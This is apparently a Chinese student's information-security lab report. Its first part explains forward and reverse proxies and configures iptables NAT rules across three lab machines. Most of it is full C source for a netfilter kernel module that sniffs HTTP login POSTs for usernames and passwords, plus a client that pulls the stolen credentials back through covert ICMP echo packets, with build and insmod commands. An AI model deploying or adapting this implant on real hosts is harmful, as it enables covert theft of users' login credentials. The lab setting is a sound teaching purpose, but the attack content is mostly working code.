信息安全实验二
实验2: iptables 和 netfilter |
---|
1. 使用iptables命令实现代理。需要3台机器(2台虚拟机+主机)进行演示。 |
2. 基于netfilter,实现对使用HTTP协议的网站的用户名和密码的窃取。 |
iptables命令实现代理
正向代理
正向代理类似一个跳板机,代理访问外部资源。
客户端必须设置正向代理服务器,当然前提是要知道正向代理服务器的IP地址,还有代理程序的端口。
如果用户访问不了某网站,但是能访问一个代理服务器,这个代理服务器能访问该网站,就可以先连上代理服务器,告诉他需要那个无法访问网站的内容,代理服务器去取回来,然后返回给用户。从网站的角度,只在代理服务器在内容的时候有一次记录,但可能并不知道是用户的请求,也隐藏了用户的信息,这取决于代理告不告诉网站。
反向代理
反向代理实际运行方式是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给Internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。
正向代理与反向代理区别
-
正向代理 是一个位于客户端和原始服务器之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。
正向代理的用途:
- 访问原来无法访问的资源,比如Google
- 用做缓存,加速访问资源
- 对客户端访问授权,上网进行认证
- 代理可以记录用户访问记录(上网行为管理),对外隐藏用户信息
-
反向代理 客户端是无感知代理的存在的,反向代理对外都是透明的,访问者并不知道自己访问的是一个代理,因为客户端不需要任何配置就可以访问。
反向代理的用途:
-
保证内网的安全,可以使用反向代理提供WAF功能,阻止web攻击。大型网站通常将反向代理作为公网访问地址,Web服务器是内网。
-
负载均衡,通过反向代理服务器来优化网站的负载。
-
使用iptables命令实现代理
实验需要同一网络下的三台主机:
IP | 角色 |
---|---|
192.168.107.130 | 用户 |
192.168.107.131 | 网页 |
192.168.107.132 | 代理 |
首先在代理机上开启转发数据包的能力:
cd /proc/sys/net/ipv4
su //如果root用户无法登录,需要先修改密码
echo 1 > ip_forward
之后查看当前代理机的初始状态:
sudo iptables -L -t nat
对nat表进行配置:
sudo iptables -t nat -A PREROUTING -d 192.168.107.132 -p tcp --dport 80 -j DNAT --to-destination 192.168.107.131:80
sudo iptables -t nat -A POSTROUTING -p tcp -s 192.168.107.130 -j SNAT --to 192.168.107.132
再次查看代理机的状态:
三台机器的状态
192.168.107.132作为代理,本身并没有相应服务提供给用户:
192.168.107.131发布网页,把相应服务提供给用户:
192.168.107.131作为用户机访问代理机。
演示效果
在用户机上访问代理,得到代理后返回的192.168.107.131主机的网页:
netfilter窃取用户名和密码
Netfilter子系统
Netfilter在五个点拦截报文,每个拦截点对应iptable的一个chain
- PREROUTING: 在报文路由前进行对报文的拦截
- INPUT:对到本机的报文进行拦截
- FORWARD:对需要本机进行三层转发的报文进行拦截
- OUTPUT:对本机生成的报文进行拦截
- POSTROUTIN:路由后对报文进行拦截
Netfilter中报文有三条处理流程:
发往本机的报文:
经过本机三层转发的报文
本机产生往外发送的报文
实验过程
首先通过网页登录,利用wireshark抓取网页提交的表单信息:
在被攻击者主机上安装sniff内核模块:
make // 编译snif.c
lsmod // 查看当前模块
sudo insmod sniff.ko // 安装sniff模块
dmesg // 查看记录
sudo rmmod sniff // 卸载内核模块
被攻击的主机再次访问网页会被抓取数据:
在攻击者主机上通过getpwd程序,可以获取到被攻击机器的用户名与密码:
gcc -o getpwd getpwd.c // 编译
sudo ./getpwd 192.168.107.132 // 192.168.107.132是被安装了sniff模块的被攻击主机
实验代码
sniff.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x77 // ICMP CODE
#define REPLY_SIZE 36 // tartget_ip(4B) + username(16B) + password(16B)
#define SUCCESS 1
#define FAILURE -1
static const char *post_uri = "POST /coremail/index.jsp?cus=1";
static const int post_uri_len = 30;
static const unsigned int target_ip = 138421962;
static char *username = NULL;
static char *password = NULL;
static struct nf_hook_ops pre_hook;
static struct nf_hook_ops post_hook;
static unsigned int findpkt_iwant(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL;
int tcp_payload_len = 0;
ip = (struct iphdr *)skb_network_header(skb);
if (ip->daddr != 138421962 || ip->protocol != IPPROTO_TCP)
return FAILURE;
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
data = (char *)((char *)tcp + (tcp->doff<<2));
if (tcp->dest != htons(80)
|| tcp_payload_len < post_uri_len
|| strncmp(data, post_uri, post_uri_len) != 0) {
return FAILURE;
}
return SUCCESS;
}
char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
int index = 0, i = 0;
char *value = NULL;
if ((index = strstr(urlparam, key)) == -1)
return NULL;
urlparam += (index + klen);
ulen -= (index + klen);
for (i = 0; i < ulen && urlparam[i] != '&'; i++);
if (i >= ulen)
return NULL;
// i + 1, for the last char ' '
if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
return NULL;
memcpy(value, urlparam, i);
value[i] = ' ';
return value;
}
static void fetch_http(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL; // tcp data
int tcp_payload_len = 0;
int i = 0, index = -1;
int content_len = 0; // Cotent-Length
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
data = (char *)tcp + (tcp->doff<<2);
index = strstr(data, "Content-Length: ");
if (index == -1)
return;
data += (index + 16);
for (i = 0; data[i] != '
'; i++)
content_len = content_len*10 + ((int)data[i]-'0');
data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
// 提取用户名
username = fetch_urlparam(data, content_len, "uid=", 4);
// 提取密码
password = fetch_urlparam(data, content_len, "password=", 9);
if (username == NULL || password == NULL)
return;
printk("username: %s
", username);
printk("password: %s
", password);
}
static int hasPair(void) {
return username != NULL && password != NULL;
}
static unsigned int watch_out(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
if (findpkt_iwant(skb) == FAILURE)
return NF_ACCEPT;
if (!hasPair())
fetch_http(skb);
return NF_ACCEPT;
}
static unsigned int watch_in(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
struct iphdr *ip = NULL;
struct icmphdr *icmp = NULL;
int icmp_payload_len = 0;
char *cp_data = NULL; // copy pointer
unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
ip = (struct iphdr *)skb_network_header(skb);
if (!hasPair() || ip->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
// 最后8字节为 ICMP首部长度
icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
if (icmp->code != MAGIC_CODE
|| icmp->type != ICMP_ECHO
|| icmp_payload_len < REPLY_SIZE) {
return NF_ACCEPT;
}
// 交换源目的IP用于回发数据
temp_ipaddr = ip->saddr;
ip->saddr = ip->daddr;
ip->daddr = temp_ipaddr;
skb->pkt_type = PACKET_OUTGOING;
switch (skb->dev->type) {
case ARPHRD_PPP: break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER: {
unsigned char temp_hwaddr[ETH_ALEN];
struct ethhdr *eth = NULL;
// Move the data pointer to point to the link layer header
eth = (struct ethhdr *)eth_hdr(skb);
skb->data = (unsigned char*)eth;
skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
break;
}
}
// copy target_ip, username, password into packet
cp_data = (char *)icmp + 8;
memcpy(cp_data, &target_ip, 4);
memcpy(cp_data+4, username, 16);
memcpy(cp_data+20, password, 16);
printk("username: %s
", username);
printk("password: %s
", password);
dev_queue_xmit(skb); // 发送数据帧
kfree(username);
kfree(password);
username = password = NULL;
return NF_STOLEN;
}
int init_module(void) {
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.hooknum = NF_INET_PRE_ROUTING;
pre_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &pre_hook);
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.hooknum = NF_INET_POST_ROUTING;
post_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &post_hook);
printk("init_module
");
return 0;
}
void cleanup_module(void) {
nf_unregister_net_hook(&init_net, &pre_hook);
nf_unregister_net_hook(&init_net, &post_hook);
printk("cleanup_module
");
}
getpwd.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>
#define BUFF_SIZE 256
#define SUCCESS 1
#define FAILURE -1
#define MAGIC_CODE 0x77
struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];
int load_args(const int argc, char **);
void print_cmdprompt();
int send_icmp_request();
int recv_icmp_reply();
unsigned short cksum(unsigned short *, int len);
void print_ippacket_inbyte(unsigned char *);
int main(int argc, char **argv) {
if (load_args(argc, argv) < 0) {
printf("command format error!
");
print_cmdprompt();
return FAILURE;
}
recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (recvsockfd < 0 || sendsockfd < 0) {
perror("socket creation error");
return FAILURE;
}
printf("running...
");
// 发送ICMP ECHO 回送请求报文
send_icmp_request();
// 接收ICMP ECHO 回送回答报文
recv_icmp_reply();
close(sendsockfd);
close(recvsockfd);
return 0;
}
int load_args(const int argc, char *argv[]) {
if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
return FAILURE;
return SUCCESS;
}
void print_cmdprompt() {
printf("
getpass [remoteip]
");
printf(" [remoteip] Victim host IP address, eg: 192.168.107.132
");
}
int send_icmp_request() {
bzero(sendbuff, BUFF_SIZE);
// 构造ICMP ECHO首部
struct icmp *icmp = (struct icmp *)sendbuff;
icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
icmp->icmp_code = MAGIC_CODE;
icmp->icmp_cksum = 0;
// 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + // 36B(4B(target_ip)+16B(username)+16B(password))
icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
printf("sending request........
");
int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
if (ret < 0) {
perror("send error");
} else {
printf("send a icmp echo request packet!
");
}
return SUCCESS;
}
int recv_icmp_reply() {
bzero(recvbuff, BUFF_SIZE);
printf("waiting for reply......
");
if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
printf("failed getting reply packet
");
return FAILURE;
}
struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
memcpy(&server_addr, (char *)icmp+8, 4);
// 打印IP包字节数据,便于调试
print_ippacket_inbyte(recvbuff);
printf("stolen from http server: %s
", inet_ntoa(server_addr));
printf("username: %s
", (char *)((char *)icmp + 12));
printf("password: %s
", (char *)((char *)icmp + 28));
return SUCCESS;
}
unsigned short cksum(unsigned short *addr, int len) {
int sum = 0;
unsigned short res = 0;
// len -= 2,sizeof(unsigned short) = 2;
// sum += *(addr++),每次偏移2Byte
for (; len > 1; sum += *(addr++), len -= 2);
// 每次处理2Byte,可能会存在多余的1Byte
sum += len == 1 ? *addr : 0;
// sum:高16位 + 低16位,高16位中存在可能的进位
sum = (sum >> 16) + (sum & 0xffff);
// sum + sum的高16位,高16位中存在可能的进位
sum += (sum >> 16);
// 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
res = ~sum;
return res;
}
void print_ippacket_inbyte(unsigned char *ipbuff) {
struct ip *ip = (struct ip *)ipbuff;
printf(" %02x %02x", ipbuff[0], ipbuff[1]);
for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
if (i % 16 == 0)
printf("
");
if (i % 8 == 0)
printf(" ");
printf("%02x ", ipbuff[i+2]);
}
printf("
");
}